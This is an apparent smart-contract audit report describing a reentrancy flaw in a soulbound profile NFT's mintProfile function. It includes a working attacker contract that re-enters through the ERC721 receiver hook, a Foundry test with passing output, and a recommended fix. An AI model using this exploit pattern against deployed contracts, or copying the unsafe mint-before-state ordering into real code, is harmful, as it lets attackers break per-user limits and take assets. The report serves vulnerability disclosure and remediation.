Summary
Minting with _safeMint() before tokenId is assigned to a user allows for multiple mints of tokens.
Vulnerability Details
https://github.com/CodeHawks-Contests/2025-02-datingdapp/blob/main/src/SoulboundProfileNFT.sol#L34-L38
_safeMint(msg.sender, tokenId);
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
Since minting _safeMint
is done before the tokenId is assigned to a user, multiple token mints are possible.
POC
Here is an example of a contract that reenters the function mintProfile
5 times; however, this number is purly chosen for test purposes. In reality, a much larger number is pobsible."
pragma solidity ^0.8.19;
import "../src/SoulboundProfileNFT.sol";
interface IERC721Receiver {
function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data
) external returns (bytes4);
}
contract MaliciousMinter is IERC721Receiver {
SoulboundProfileNFT public nft;
uint256 public reentryCount;
uint256 constant MAX_REENTRIES = 5;
constructor(address _nft) {
nft = SoulboundProfileNFT(_nft);
}
function attackMint(string memory name, uint8 age, string memory profileImage) external {
nft.mintProfile(name, age, profileImage);
}
function onERC721Received( address,address,uint256,
bytes calldata
) external override returns (bytes4) {
if (reentryCount < MAX_REENTRIES) {
reentryCount++;
string memory uniqueName = string(abi.encodePacked("Reenter-", Strings.toString(reentryCount)));
string memory uniqueImage = string(abi.encodePacked("ipfs://image-", Strings.toString(reentryCount)));
nft.mintProfile(uniqueName, 30, uniqueImage) ;
}
return this.onERC721Received.selector;
}
}
Here is the test that runs this POC. The test showcases how User 1 mints 5 NFTs and how another user, after that, mints his NFT, and the tokenId number, instead of 2, is 7.
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/SoulboundProfileNFT.sol";
import "./MaliciousMinter.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
contract SoulboundProfileNFTTestReentrancy is Test {
SoulboundProfileNFT soulboundNFT;
MaliciousMinter malicious;
address user = address(0xBEEF);
function setUp() public {
soulboundNFT = new SoulboundProfileNFT();
malicious = new MaliciousMinter(address(soulboundNFT));
}
function testReentrancyAttackUnlimitedFive() public {
malicious.attackMint("Malicious", 30, "ipfs://maliciousImage");
uint256 tokenId = soulboundNFT.profileToToken(address(malicious));
emit log_named_uint("Final Token ID", tokenId);
assertEq(soulboundNFT.balanceOf(address(malicious)), 6, "Attacker should have minted 6 NFTs");
uint256 reentryCount = malicious.reentryCount();
emit log_named_uint("Reentrancy Count", reentryCount);
assertEq(reentryCount, 5, "Reentrancy count should be 5");
vm.prank(address(0x1));
string memory uniqueName = string(abi.encodePacked("Legit-"));
string memory uniqueImage = string(abi.encodePacked("ipfs://img-"));
soulboundNFT.mintProfile(uniqueName, 30, uniqueImage) ;
console.log("New user",soulboundNFT.profileToToken(address(0x1)));
}
}
Results:
[PASS] testReentrancyAttackUnlimitedFive() (gas: 905568)
Logs:
Final Token ID: 1
Reentrancy Count: 5
New user 7
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.34ms (3.85ms CPU time)
Impact
Allows minting multiple nfts for a user, breaking core invariant - 1 nft for 1 user
Bypasses this check: require(profileToToken[msg.sender] == 0, "Profile already exists");
Tools Used
Foundry and manual review
Recommendations
Minting _safeMint()
should be placed at the end. This way, the token will already be assigned by the time minting is done, preventing a user from minting multiple NFTs.
Adding the nonReentrant()
modifier further mitigates any attempts of reentrancy.
_profiles[tokenId] = Profile(name, age, profileImage);
profileToToken[msg.sender] = tokenId;
_safeMint(msg.sender, tokenId);